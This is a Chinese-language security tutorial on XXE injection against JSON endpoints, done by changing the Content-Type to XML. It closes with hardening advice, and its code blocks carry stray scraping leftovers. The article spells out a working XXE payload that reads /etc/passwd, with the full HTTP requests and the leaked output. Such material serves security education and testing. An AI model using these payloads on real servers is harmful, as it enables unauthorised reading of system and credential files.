轉自:360安全播報http://bobao.360.cn/learning/detail/360.htmlhtml
你們都知道,許多WEB和移動應用都依賴於Client-Server的WEB通訊交互服務。而在如SOAP、RESTful這樣的WEB服務中,最多見的數據格式要數XML和JSON。當WEB服務使用XML或者JSON中的一種進行傳輸時,服務器可能會接收開發人員並未預料到的數據格式。若是服務器上的XML解析器的配置不完善,在JSON傳輸的終端可能會遭受XXE攻擊,也就是俗稱的XML外部實體攻擊。json
XXE是一種針對XML終端實施的攻擊,黑客想要實施這種攻擊,須要在XML的payload包含外部實體聲明,且服務器自己容許實體擴展。這樣的話,黑客或許能讀取WEB服務器的文件系統,經過UNC路徑訪問遠程文件系統,或者經過HTTP/HTTPS鏈接到任意主機。在下面的例子中,咱們將一個外部實體指向了WEB服務器上的/etc/passwd,該實體就是包含在XML的payload裏的。安全
1
2
3
4
|
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
[some xml content..]
<
element
>&xxe;</
element
>
[some xml content..]
|
以上就是一個簡潔有效的攻擊,咱們來看看如何利用Content-Type頭和HTTP請求的payload,是否也能黑掉JSON的終端。下面是一個JSON請求樣本,它將Content-Type設置爲application/json,其中精簡了大部份內容。bash
1
2
3
4
5
6
7
8
9
10
11
12
|
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
|
若是Content-Type頭被修改成application/xml,客戶端會告訴服務器post過去的數據是XML格式的。但若是你實際傳過去的不是該格式的話,服務器不會進行解析,而且會報以下的錯:服務器
1
2
3
4
5
6
7
8
9
10
11
12
|
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
|
該錯誤提示指出,服務器可以處理XML格式和JSON格式的數據,但如今服務器收到的真實數據格式並非在Content-Type裏聲明的XML格式,因此這裏天然不能被解析啦。爲了解決這個問題,JSON格式被強行轉換爲XML格式。若是你想作這樣的轉換,網上有很多在線工具,Eric Gruber曾寫了一個Burpsuite插件(Content-Type Converter),能夠自動在Burpsuite裏轉換格式。app
1
2
|
Original JSON
{
"search"
:
"name"
,
"value"
:
"netspitest"
}
|
1
2
3
4
|
XML Conversion
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<
search
>name</
search
>
<
value
>netspitest</
value
>
|
然而,這樣直接轉換過來的XML文檔很明顯是無效的,它並無XML格式文件所必須的<root>元素。若是這個XML格式的文件被髮送到服務器上,有可能服務器會爲此響應一個錯誤消息,全部最好的作法是爲該轉換過的XML文檔加一個<root>元素。工具
1
2
3
4
5
|
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<
root
>
<
search
>name</
search
>
<
value
>netspitest</
value
>
</
root
>
|
如今原始的JSON請求能夠被轉換爲XML發送給服務器,而後得到一個有效響應。post
1
2
3
4
5
6
|
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112
|
1
2
3
4
5
|
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<
root
>
<
search
>name</
search
>
<
value
>netspitest</
value
>
</
root
>
|
1
2
3
4
5
|
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
|
由於在這裏服務器是能夠接收XML的數據的,黑客能由此對JSON終端實施XXE攻擊。ui
1
2
3
4
5
6
|
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
|
1
2
3
4
5
6
|
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<
root
>
<
search
>name</
search
>
<
value
>&xxe;</
value
>
</
root
>
|
黑客在這裏就能夠讀到/etc/passwd的文件內容:spa
1
2
3
4
5
6
7
8
9
|
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
|
顯然,不是每個JSON終端都會接收XML格式,改變Content-Type並無太大用處,有可能你只會獲得一個415的數據類型不支持錯誤。可是,JSON轉換爲XML的攻擊不會只限制於經過post傳輸帶有JSON內容的payload,我就曾經看見以GET形式傳輸相應參數的案例。若是JSON的參數被轉換爲XML,服務器會本身判斷content type的真實類型。
經過以上的實驗咱們能夠得出結論,若是你想要加固JSON終端,XML解析必須被禁用,或者你必須禁用內聯DOCTYPE聲明,以此防護XML外部實體注入攻擊。